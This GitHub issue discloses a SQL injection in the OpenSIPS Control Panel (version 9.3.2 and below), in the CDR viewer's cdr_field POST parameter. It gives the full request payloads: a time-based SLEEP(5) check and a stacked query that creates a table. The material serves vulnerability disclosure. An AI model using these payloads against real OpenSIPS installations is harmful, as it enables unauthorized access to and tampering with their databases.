Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Opensips CP <=9.3.2 : CDR Search Action SQL Injection #215

Open
Integration-IT opened this issue Jun 2, 2022 · 0 comments
Open

Opensips CP <=9.3.2 : CDR Search Action SQL Injection #215

Integration-IT opened this issue Jun 2, 2022 · 0 comments

Comments

@Integration-IT
Copy link

Hello,

PATH:

/cp/tools/system/cdrviewer/cdrviewer.php

PARAM:

cdr_field (duration)

METHOD:

POST

INJECTION CHECK:

Payload: cdr_field=duration;SELECT SLEEP(5)#&search_regexp=0&start_year=2022&start_month=06&start_day=02&start_hour=23&start_minute=07&start_second=07&end_year=2022&end_month=06&end_day=02&end_hour=23&end_minute=07&end_second=07&export=Export

ARBITRARY COMMAND:

cdr_field=duration;CREATE TABLE Injection (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,firstname VARCHAR(30) NOT NULL,lastname VARCHAR(30) NOT NULL,email VARCHAR(50),reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP)#&search_regexp=0&start_year=2022&start_month=06&start_day=02&start_hour=23&start_minute=07&start_second=07&end_year=2022&end_month=06&end_day=02&end_hour=23&end_minute=07&end_second=07&export=Export
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant